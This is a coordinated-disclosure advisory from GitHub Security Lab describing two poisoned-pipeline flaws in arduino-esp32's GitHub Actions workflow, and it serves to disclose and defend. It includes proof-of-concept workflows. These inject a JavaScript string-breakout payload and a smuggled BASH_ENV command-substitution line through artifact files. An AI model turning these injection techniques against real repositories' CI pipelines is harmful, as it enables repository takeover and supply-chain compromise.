Coordinated Disclosure Timeline

  • 2024-07-22: Reported through GitHub’s Private Vulnerability Reporting (PVR).
  • 2024-07-22: Issue is acknowledged.
  • 2024-09-17: Advisory published

Summary

Arduino-esp32 is vulnerable to Poisoned Pipeline Execution (PPE) allowing malicious actors to take over the repository.

Project

Arduino-ESP32

Tested Version

Latest commit at the time of reporting

Details

Code injection in tests_results.yml workflow (GHSL-2024-169)

The tests_results workflow is triggered when the Wokwi tests workflows completes:

on:
  workflow_run:
    workflows: ["Wokwi tests"]
    types:
      - completed

It then downloads an artifact uploaded by the triggering workflow into the artifacts/ directory:

- name: Download and Extract Artifacts
uses: dawidd6/action-download-artifact@v6
with:
  run_id: ${{ github.event.workflow_run.id }}
  path: ./artifacts

And read the contents of the artifacts into different Environment Variables:

```yaml
- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

Some of the attacker-controlled variables (such as the original_ref variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:

- name: Clean up caches
if: always()
uses: actions/github-script@v7
with:
  script: |
    const ref = '${{ env.original_ref }}';
    ...

PoC

  • Clone the repository
  • Edit the tests_wokwi.yml workflow.
name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
        mkdir -p artifacts/parent-artifacts/
        printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
        printf "pull_request" > artifacts/parent-artifacts/event.txt
        printf "success" > artifacts/parent-artifacts/conclusion.txt
        printf "" > artifacts/parent-artifacts/action.txt
        # PAYLOAD
        printf "foo'; console.log('CODE INJECTION'); //" > artifacts/parent-artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Environment Variable injection (GHSL-2024-170)

In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:

- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable.

An attacker can send a malicious event.txt file (or any of the other artifacts), with the following content:

pull_request
BASH_ENV=$(echo "ENV-VAR INJECTION")

Which will result in two Environment Variables being defined:

  • original_event=pull_request
  • BASH_ENV=$(echo “ENV-VAR INJECTION”)

The BASH_ENV will pollute the bash environment so that next Run step will execute the code in the variable.

PoC

  • Clone the repository
  • Edit the `` workflow.
name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
        printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
        printf "pull_request" > artifacts/parent-artifacts/event.txt
        printf "success" > artifacts/parent-artifacts/conclusion.txt
        printf "" > artifacts/parent-artifacts/action.txt
        # PAYLOAD
        printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/parent-artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-169 and GHSL-2024-170 in any communication regarding this issue.

CVE

  • CVE-2024-45798